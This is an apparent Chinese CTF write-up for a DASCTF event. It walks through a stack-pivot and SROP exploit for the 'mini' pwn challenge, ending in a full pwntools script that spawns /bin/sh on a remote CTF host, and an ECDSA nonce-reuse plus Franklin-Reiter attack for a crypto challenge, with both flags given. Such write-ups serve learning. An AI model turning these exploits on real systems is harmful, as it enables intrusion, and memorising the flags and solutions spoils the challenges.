PWN

mini

  • 考点:only-read

  • 这题与ACTF的那题是一样的题型都是only-read的题型,只不过这题溢出的字节数非常小,只有0x20字节,而ACTF那题溢出的字节数非常大。

  • 先来查看一下程序保护机制。没有开启PIEcanary found

image-20250623013520561

  • 然后查看一下这个程序的主要代码,发现只能溢出到ret这个部分。所以这题必须栈迁移。

image-20250623013611664

  • 此时还发现了pop rax ret这个gadget,那这题的思路还是比较明显的,思路为ret2syscall利用SROP从而getshell,返回到的是__libc_start_call_main这个函数中的一个syscall

image-20250623013712291

  • 首先我们先来栈迁移,将栈内存迁移到bss段中,但是由于bss段上还没有libc地址,所以此时迁移之后还需要返回到_start将程序从头开始运行,这时bss段上就有相关的数据。如下图:

image-20250623014811504

  • 但是由于先要通过溢出才能构造SROP链,并且溢出必然会覆盖__libc_Start_call_main这个函数的地址。但是注意到__libc_start_main+133这边是在__libc_start_call_main函数的附件,这样其实就选择使用爆破1个字节来得到返回到__libc_start_call_main那边的syscall
  • 但是在执行之前,需要先在__libc_start_main+133后面的地址处布置好srop所需要的数据。但是由于溢出字节不够,我们只每次0x10字节将SROP链写入到bss段中。
  • 这里要解释一下为什么写完要跳到bss_addr-0x250这边,其实是为了让rsi跑远一点不能与rsp0x10字节(这个地方后面还需要用到),如果rsi=rsp-0x10,程序会在read调用之后,从rsi所指地址中写入数据,此时就会覆盖call read时压入栈上的返回地址,导致程序出现问题。
1
2
3
4
5
6
7
def my_srop(i):
payload = b'a'*0x10+ p64(bss_addr-0xA0+0x10+i*0x10)
payload+= p64(main_read)
p.send(payload)
payload = bytes(frame)[0x10*i:i*0x10+0x10]+p64(bss_addr-0x250)
payload += p64(main_read)
p.send(payload)
  • 布置srop的结构如下,并且布置完srop后的栈图如下:
1
2
3
4
5
6
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = bss_addr-0xb8+0x10-0x8-0x10
frame.rbp = bss_addr + 0x20
frame.rsp = 0x404578
frame.rip = 0x40114F

image-20250623020638831

  • 布置完后,我们就需要步骤rop链,将系统调用号15rax,但是我们要通过正常溢出是不可能的,此时我们就需要通过前面read的那个小技巧这样才能同时构造rop链,并且还能溢出修改0x2个字节将__libc_start_main+133修改为__libc_start_call_main处的那个syscall
  • 所以最后一次返回的时候,我们要满足rsp=rbp并且rsi=rsp-0x10,在没有调用read的时候栈布局是这样的。

image-20250623021303529

  • 在调用read之后写入数据,还没返回时,栈布局是这样的。

image-20250623021403899

  • 所以调用readrsi开始写数据的时候,就会先将ret_addr给覆盖了,我们就可以提前布置rop链将ret_addr布置成pop_rax ret,之后再将ccc修改成15,最后修改ret_addr的最后两个字节,其中我们需要爆破4位。构造之后的栈布局如下:

image-20250623021623074

  • 这样我们其实就能getshell了,这里在打本地的时候关闭了ASLR

image-20250623021646015

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
context.arch = 'amd64'
for i in range(10):
#p = process('./chal')
p = remote('node5.buuoj.cn',29433)
context.log_level = 'debug'
bss_addr = 0x404018+0x600+0x8
main_read = 0x401133
start_addr = 0x401040
payload = b'a'*0x10+ p64(bss_addr) + p64(main_read)
#gdb.attach(p)
print('a*0x10+ p64(bss_addr) + p64(main_read)')
p.send(payload)
payload = b'a'*0x10+p64(bss_addr-0x50) + p64(main_read)
print('a*0x10+p64(bss_addr-0x50) + p64(main_read)')
p.send(payload)
payload = b'a'*0x10 + p64(bss_addr-0x90) + p64(start_addr)
p.send(payload)
#pause()
#payload = b'a'*0x10 + p64(bss_addr-0x90) + p64()
#p.send(payload)
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = bss_addr-0xb8+0x10-0x8-0x10
frame.rbp = bss_addr + 0x20
frame.rsp = 0x404578
frame.rip = 0x40114F
print(bytes(frame))
print(hex(len(frame)))
print(len(bytes(frame)[0:8]))
def my_srop(i):
payload = b'a'*0x10+ p64(bss_addr-0xA0+0x10+i*0x10)
payload+= p64(main_read)
p.send(payload)
payload = bytes(frame)[0x10*i:i*0x10+0x10]+p64(bss_addr-0x250)
payload += p64(main_read)
p.send(payload)
my_srop(0)
my_srop(1)
my_srop(2)
my_srop(3)
my_srop(4)
my_srop(5)
my_srop(6)
my_srop(7)
my_srop(8)
my_srop(9)
my_srop(0xa)
my_srop(0xb)
my_srop(0xc)
my_srop(0xd)
my_srop(0xe)
print(bytes(frame)[0x10*0xf:])
payload = b'a'*0x10+ p64(bss_addr-0xA0+0x10+0xf*0x10)
payload+= p64(main_read)
p.send(payload)
payload = bytes(frame)[0x10*0xf:]+b'a'*0x8+p64(bss_addr-0x250)
payload += p64(main_read)
p.send(payload)
payload = b'/bin/sh\x00' + b'a'*0x8+p64(bss_addr-0xb8-0x8)+p64(main_read)
p.send(payload)
payload = b'a'*0x10 + p64(bss_addr-0xb8+0x10-0x8) + p64(main_read)
#pause()
p.send(payload)
payload = b'/bin/sh\x00' + p64(0x401126) + p64(15)+p16(0x3D94)
pause()
p.send(payload)
p.interactive()
  • 远程爆破的话还是比较好爆破的。
1
DASCTF{5738e34c-70e8-45cf-abc7-ff4eb2265229}

image-20250623021945654

NSUSServer

Crypto

Excessive Security(复现)

  • 考点:ecdsa

  • 参考博客:Triode Field

  • 题目如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from hashlib import sha256
from random import randint
from ecdsa import SECP256k1
from Crypto.Util.number import inverse, bytes_to_long, getPrime
#from secret import flag
flag = b'flag{test}'
curve = SECP256k1 # 使用的是特殊的椭圆曲线,其中G其实已知、p也其实已知、n也就是阶也已知
G, n = curve.generator, curve.order
print(hex(n))
print(curve.curve)
def H(msg): return int.from_bytes(sha256(msg.encode()).digest(), 'big')

def sign(h, priv, k): # 进行签名操作
r = (k * G).x() % n
s = (inverse(k, n) * (h + r * priv)) % n
return s, r

def split(data):
s = data.decode() if isinstance(data, bytes) else data
return [s[i::4] for i in range(4)]

def sign_encrypt(plaintext):
blocks = split(plaintext) # 切割flag
h = list(map(H, blocks)) # 调用H(flag1)、H(flag2)、H(flag3)、H(flag4),将返回的值组成一个列表

x1 = randint(1, n - 1) # 生成随机数x1
x2 = randint(1, n - 1) # 生成随机数x2
k1 = randint(n // 8, n - 1) # 生成随机数k1
k2 = randint(n // 8, n - 1) # 生成随机数k2

s1, r1 = sign(h[0], x1, k1) # 对h[0]进行椭圆曲线数字签名
s2, _ = sign(h[1], x2, k1) # 对h[1]进行椭圆曲线数字签名
s3, r2 = sign(h[2], x1, k2) # 对h[2]进行椭圆曲线数字签名
s4, _ = sign(h[3], x2, k2) # 对h[3]进行椭圆曲线签名

m = bytes_to_long(plaintext)
p, q = getPrime(512), getPrime(512)
N = p * q
e = 65537
c1 = pow(m, e, N) # 进行一次RSA加密
c2 = pow(x1 * m + x2, e, N) # 对x1和x2配合m也进行一次RSA加密

print(f"N = {N}")
print(f"c1 = {c1}")
print(f"c2 = {c2}")
print(f"(h1, s1, r1) = ({h[0]}, {s1}, {r1})")
print(f"(h2, s2, r1) = ({h[1]}, {s2}, {r1})")
print(f"(h3, s3, r2) = ({h[2]}, {s3}, {r2})")
print(f"(h4, s4, r2) = ({h[3]}, {s4}, {r2})")

if __name__ == '__main__':
sign_encrypt(flag)

# N = 98472559301398326519521704898800552100670435952553618641467704945731627783624140484670366845550939866842528582954361836035593755351584272693016822204234859506655433796327589389300744153263194916217158205372375670404000164793308078231134726345672236542974067442646354084915978240909130405000905936105602786257
# c1 = 40127670364311180283394426274113033719543797673129006844648567069726278369353910517424074073714346881895826377902772771837790964432434997986229629267700081564740160692151350365553131535789070670584548053624970689607275665921674708650254889369926426966093575171344082441699295255661725211366819524902641461331
# c2 = 4958767685161688254408001463637498631434015989118088175006720150146904021732816429444998309662995333252926794359370922113211567042198257249974382506057347524044728912256607992806670035884054654064021329936092742390064660715742236775795950389452053770118911570676738879382827738088237377423216124023239179385
# (h1, s1, r1) = (68926494835039378729440404424793589316085902585443402029912033361291851069895, 70264613994433317101824708333691569351293428290775945022557096997867421112623, 95467825458659408375936425122753380788640181504557006906236884175684680903422)
# (h2, s2, r1) = (99816429822339421445908151468618514820067970997726274244928092260385418279182, 27386247988345867998752358066350183725137348277248603318763377237810993039608, 95467825458659408375936425122753380788640181504557006906236884175684680903422)
# (h3, s3, r2) = (100471089356874379799029324099340355602511511524623953182021635156113287196537, 108271537842404710192407976239166854351892165018292127464175836717873395489565, 13940715298251935708383205669373172931583958487449924842542107474174521484127)
# (h4, s4, r2) = (53552261622392134420510144174810499568173979993026285111445672642139328877380, 100312693542625967610858608130705401648902828203826044299984002070083890684220, 13940715298251935708383205669373172931583958487449924842542107474174521484127)
  • 这题主要考察的就是ECDSA,首先生成了一个椭圆曲线,这个椭圆曲线的各个参数都已知:

curve:y2=x3+7 mod (115792089237316195423570985008687907853269984665640564039457584007908834671663)order:n=0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141curve:y^2=x^3+7~mod~(115792089237316195423570985008687907853269984665640564039457584007908834671663)\\ order:n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

1
2
3
4
curve = SECP256k1  # 使用的是特殊的椭圆曲线,其中G其实已知、p也其实已知、n也就是阶也已知
G, n = curve.generator, curve.order
print(hex(n))
print(curve.curve)
  • 这题最主要的一个破解点就是重复使用k1k2对数据进行签名
1
2
3
4
5
6
7
8
9
def sign(h, priv, k): # 进行签名操作
r = (k * G).x() % n
s = (inverse(k, n) * (h + r * priv)) % n
return s, r

s1, r1 = sign(h[0], x1, k1) # 对h[0]进行椭圆曲线数字签名
s2, _ = sign(h[1], x2, k1) # 对h[1]进行椭圆曲线数字签名
s3, r2 = sign(h[2], x1, k2) # 对h[2]进行椭圆曲线数字签名
s4, _ = sign(h[3], x2, k2) # 对h[3]进行椭圆曲线签名
  • 接下来对这个过程进行推导

s1=k11(h1+r1x1) mod ns2=k11(h2+r1x2) mod ns3=k21(h3+r2x1) mod ns4=k21(h4+r2x2) mod ns_1 = k_1^{-1}*(h_1+r_1*x_1) ~mod~n\\ s_2 = k_1^{-1}*(h_2+r_1*x_2) ~mod~n\\ s_3=k_2^{-1}*(h_3+r_2*x_1)~mod~n\\ s_4=k_2^{-1}*(h_4+r_2*x_2)~mod~n\\

  • 由于式子中的这个都是一次的,所以其实我们可以将这个式子理解成为一个模n下的四元一次方程组,接下来先化简一下这个式子。这样我们就可以更容易看出来这个四元一次线性方程组。

s1k1=h1+r1x1 mod ns2k1=h2+r1x2 mod ns3k2=h3+r2x1 mod ns4k2=h4+r2x2 mod ns1k1+0k2r1x1+0x2=h1 mod ns2k1+0k2+0x1r1x2=h2 mod n0k1+s3k2r2x1+0x2=h3 mod n0k1+s4k2+0x1r2x2=h4 mod ns_1k_1 = h_1+r_1x_1~mod~n\\ s_2k_1 = h_2+r_1x_2~mod~n\\ s_3k_2 = h_3+r_2x_1~mod~n\\ s_4k_2 = h_4+r_2x_2~mod~n\\ \Rightarrow\\ s_1k_1+0k_2-r_1x_1+0x_2 = h_1~mod~n\\ s_2k_1+0k_2+0x_1-r_1x_2 = h_2~mod~n\\ 0k_1+s_3k_2-r_2x_1+0x_2 = h_3~mod~n\\ 0k_1+s_4k_2+0x_1-r_2x_2 = h_4~mod~n\\

  • 这样其实我们就可以构造一个模n意义下的矩阵,解出这个矩阵对应的线性方程组就可以得到x1,x2x_1,x_2了:

[s10r10h1s200r1h20s3r20h30s40r2h4]\begin{bmatrix} s_1&0&-r_1&0&h_1\\ s_2&0&0&-r_1&h_2\\ 0&s_3&-r_2&0&h_3\\ 0&s_4&0&-r_2&h_4 \end{bmatrix}

  • 解出x1,x2x_1,x_2之后就可以来看下一个加密步骤,这个比较简单考察的是Franklin-Reiter攻击,而且还是线性的,只要用gcd(普通多项式gcd算法不行,需要使用H-gcd)即可求得最大公因式(xm)(x-m),就可以求出明文m了:
1
2
3
4
5
6
m = bytes_to_long(plaintext)
p, q = getPrime(512), getPrime(512)
N = p * q
e = 65537
c1 = pow(m, e, N) # 进行一次RSA加密
c2 = pow(x1 * m + x2, e, N) # 对x1和x2配合m也进行一次RSA加密
  • 最终exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import *
from ecdsa import SECP256k1
n = SECP256k1.order
e = 65537
N = 98472559301398326519521704898800552100670435952553618641467704945731627783624140484670366845550939866842528582954361836035593755351584272693016822204234859506655433796327589389300744153263194916217158205372375670404000164793308078231134726345672236542974067442646354084915978240909130405000905936105602786257
c1 = 40127670364311180283394426274113033719543797673129006844648567069726278369353910517424074073714346881895826377902772771837790964432434997986229629267700081564740160692151350365553131535789070670584548053624970689607275665921674708650254889369926426966093575171344082441699295255661725211366819524902641461331
c2 = 4958767685161688254408001463637498631434015989118088175006720150146904021732816429444998309662995333252926794359370922113211567042198257249974382506057347524044728912256607992806670035884054654064021329936092742390064660715742236775795950389452053770118911570676738879382827738088237377423216124023239179385
h1, s1, r1 = (68926494835039378729440404424793589316085902585443402029912033361291851069895, 70264613994433317101824708333691569351293428290775945022557096997867421112623, 95467825458659408375936425122753380788640181504557006906236884175684680903422)
h2, s2, r1 = (99816429822339421445908151468618514820067970997726274244928092260385418279182, 27386247988345867998752358066350183725137348277248603318763377237810993039608, 95467825458659408375936425122753380788640181504557006906236884175684680903422)
h3, s3, r2 = (100471089356874379799029324099340355602511511524623953182021635156113287196537, 108271537842404710192407976239166854351892165018292127464175836717873395489565, 13940715298251935708383205669373172931583958487449924842542107474174521484127)
h4, s4, r2 = (53552261622392134420510144174810499568173979993026285111445672642139328877380, 100312693542625967610858608130705401648902828203826044299984002070083890684220, 13940715298251935708383205669373172931583958487449924842542107474174521484127)
A = matrix(Zmod(n), [[s1, 0, -r1, 0], [s2, 0, 0, -r1], [0, s3, -r2, 0], [0, s4, 0, -r2]])
v = vector(Zmod(n), [h1, h2, h3, h4])
k1, k2, x1, x2 = A.solve_right(v)
print(x1,x2)

R.<x> = Zmod(N)[]
f = x^e - c1
g = (ZZ(x1) * x + ZZ(x2))^e - c2

G = R(f._pari_with_name('x').gcd(g._pari_with_name('x')))

m = -list(G.monic())[0]
print(long_to_bytes(int(m)))
"""
17754677231116188359396131937000664637388235962309739341039576063530375612219 79541650983569507936838949546074094434344869740141472134648391439474061318003
b'DASCTF{W5CErsMuFRuDGvRw2sKLrH7kIZjFUIa2LTZO1McZ4g8avbVDl0YBM3EWfuI8msMm}'
"""

Strange RSA